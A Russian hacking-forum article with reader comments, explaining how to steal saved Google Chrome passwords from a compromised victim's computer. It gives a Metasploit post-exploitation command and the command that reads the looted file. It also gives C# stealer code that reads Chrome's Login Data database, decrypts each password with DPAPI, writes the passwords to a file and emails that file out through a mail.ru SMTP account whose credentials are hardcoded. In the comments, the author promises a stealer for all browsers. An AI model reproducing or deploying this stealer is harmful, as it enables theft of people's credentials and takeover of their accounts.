Статья Воруем пароли из Google Chrome

Ave Caesars, morituri te salutant! И снова здрасте. Почему я вспомнил Цезаря? Потому что как гладиаторы, что бились во имя его, мы сегодня пойдем в борьбу за пароли гугл хрома во славу Хека.

Как и в любой моей статье будет личный профит и разработка. Ну обо всем по порядку……..

Итак, что мы хотим? Допустим, нам удалось каким либо образом похекать компутер жертвы, это здорово, но мы хотим, разумеется его аккаунт на форуме Кодеби, чтобы почитать приватики. Юзверь оказался неПальцемДеланный и использует разные пароли от разных ресурсов.

Давайте же посмотрим, как мы можем вытащить эти пароли мощью прекрасного метерпретера.
Каким либо образом получаем сессию метерпретера
upload_2017-1-23_0-34-44.png

А далее используем следующий модуль
Код:
run post/windows/gather/enum_chrome
upload_2017-1-23_0-36-3.png

После чего смотрим исходный файл
Код:
cat /root/.msf4/loot/20170122102848_default_192.168.1.222_chrome.decrypted_217283.txt
upload_2017-1-23_0-36-42.png


Ура джедайская сила метeрпретера справилась с поставленной задачей и вывело нам логин и пароль hac126@narod.ru:hac126@narod.ru

Ну это было бы слишком просто для статьи. А что если у нас нет метерпретера?
Задача: Написать свой стиллер, который будет расшифровывать пароли GoogleChrome и отсылать на почту.
Для начала поговорим о DPAPI(Data Protection Application Programming Interface) – Майкрософт, как и многие компании столкнулась с проблемой шифрования данных, которые могут быть расшифрованы только на стороне клиента. В итоге был создан алгоритм на основе мастер – ключа.

Мастер – ключ - это комбинация следующих элементов:
  • SID — уникальный идентификатор безопасности.
  • HMAC (сокращение от англ. hash-based message authentication code, хеш-код идентификации сообщений).
  • PBKDF2 – Password-Based Key Derivation Function. Стандарт формирования ключа на основе пароля. Использует псевдослучайную функцию для получения ключей.
  • MasterKey BLOB — это как раз данные с зашифрованным ключом.
Подробнее почитать тут

Отсюда следует главный вывод, что расшифровать пароли хрома можно только там где они были созданы.
Давайте напишем такой стиллер.
Установим SQLLITE уже известным нам менеджером установки пакетов и добавим следующий код:
Код:
string fileDb = @"C:\Users\Codeby\AppData\Local\Google\Chrome\User Data\Default\Login Data"; // Путь к логин данным
string connectionString = $"Data Source = {fileDb}";
string fileName = @"C:\Temp\output.txt"; // Выходной файл с паролями
StreamWriter sw = new StreamWriter(fileName, false, Encoding.UTF8);
string dbWay = "Login Data";
string db_fields = "logins"; // база паролей SQLITE
byte[] entropy = null;
string description;

DataTable db = new DataTable();
            string sql = $"SELECT * FROM {db_fields}";
            using (SQLiteConnection connection = new SQLiteConnection(connectionString))
            {
                SQLiteCommand command = new SQLiteCommand(sql, connection);
                SQLiteDataAdapter adapter = new SQLiteDataAdapter(command);
                adapter.Fill(db);
            }

            int rows = db.Rows.Count;
            Console.WriteLine($"Всего записей: {rows}");

            for (int i = 0; i < rows; i++)
            {
                string url = db.Rows[i][1].ToString();
                string login = db.Rows[i][3].ToString();
                byte[] byteArray = (byte[])db.Rows[i][5];
                byte[] decrypted = DPAPI.Decrypt(byteArray, entropy, out description);
                string password = new UTF8Encoding(true).GetString(decrypted);
                sw.WriteLine("----------------------------");
                sw.WriteLine($"Номер: {i}");
                sw.WriteLine($"Сайт: {url}");
                sw.WriteLine($"Логин: {login}");
                sw.WriteLine($"Пароль: {password}");
            }
            sw.Close();

            MailSend.SendMail("smtp.mail.ru", "codeby1@mail.ru", "123qweasd", "hac126@ya.ru", "Пароли", fileName, fileName);
            Console.ReadKey();

Код класса DPAPI Взят отсюда
Код отправки сообщений на шарпе приводится не будет в целях безопасности.
В итоге получаем профит.
upload_2017-1-23_0-42-5.png


upload_2017-1-23_0-42-25.png


Всем спасибо. Видосик.

 
Давно ждал от тебя освещения сие вопроса,спасибо :)
 
  • Нравится
Реакции: SooLFaa
Спасибо за статью! Такой вопрос: если данный метод работает с Chrome, можно ли его применить к Chromium?
 
  • Нравится
Реакции: SooLFaa
Не совсем понял просьбу :D Просто Chrome На движке Chromium, если у пользователя имеется одноименный браузверь, то можно попробовать применить метод,описанный в данной статье, к нему :)
Эммм Я думал что они отличаются веб китом.
 
Зачет) Возьму на вооружение) Нужно дописать модуль в метасплоите что бы файлы на почту отправлял) Какраз закончил сегодня базовые ООП в руби))) Если время появится - попытаюсь написать об этом статью)
 
Эммм Я думал что они отличаются веб китом.
насколько я знаю, chrome- браузер с открытым исходным кодом, chrome - браузер с закрытым исходником, но создается на chomium`е с добавлением некоторых доп. функций. Так скажем Google Chrome = Chromium + Google Update + закрытые плагины и кодеки + отправка отчетов и статистики. То есть разница ощутима, но не настолько большая.
 
  • Нравится
Реакции: Domino-Designer
А как тоже самое провернуть в мазиле?)
 
Эх, читаю форум и понимаю что я тупой валенок! А данный стиллер бы мне очень пригодился в миролюбивых целях! Работаю в сервисном центре и часто просят сохранить пароли с хрома. Можете кинуть в меня примером, а то я уже биты час сижу и не могу собрать все во едино(((
 
Эх, читаю форум и понимаю что я тупой валенок! А данный стиллер бы мне очень пригодился в миролюбивых целях! Работаю в сервисном центре и часто просят сохранить пароли с хрома. Можете кинуть в меня примером, а то я уже биты час сижу и не могу собрать все во едино(((
Хорошо. Я допишу на выхах стиллер под все браузеры.
 
Хорошо. Я допишу на выхах стиллер под все браузеры.
Спасибо! Получилось "Сделайте за меня". Если можно то и исходники дайте. Мне не нужна возможность отправки по email or ftp. Просто хочу подкачать свой скил в данной области!
 
Есть же WebBrowserPassView
[doublepost=1490818251,1490817991][/doublepost]Вопрос. Модуль вынимает сохраненные пароли из браузера ведь так?
 
Есть такая вещь, называется она "System.Data.SQLite.dll". С помощью её можно открыть базу и от туда достать что душе угодно!
Я в шоке. Нобелевскую премию тебе. А ничего что содержимое базы зашифровано протоколом DPAPI?
 
Нобелевскую премию тебе.
Давай :)
А ничего что содержимое базы зашифровано протоколом DPAPI?
Ну дык это только для расшифровки пароля)
А Login + URL можно вытащить с помощью dll.
Можно использовать доп класс для расшифровки пароля ( тот же DPAPI ).
 
Давай :)

Ну дык это только для расшифровки пароля)
А Login + URL можно вытащить с помощью dll.
Можно использовать доп класс для расшифровки пароля ( тот же DPAPI ).
Ты издеваешься чтоль?! Если бы ты хотя бы прочитал статью и глянул в код, то увидел бы что все это дергается из базы с помощью sqllite и в статье я тоже об этом писал. И нахера логин и урл без пароля?
 
Читаю форум и понимаю что я тупой валенок!
 
  • Нравится
Реакции: paspartu
По теме могу кое что намекнуть: использовать <List>/return для прохода по всем папкам собирая LoginData, и после в цикле расшифровывать данные, и выводить результат.
 
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!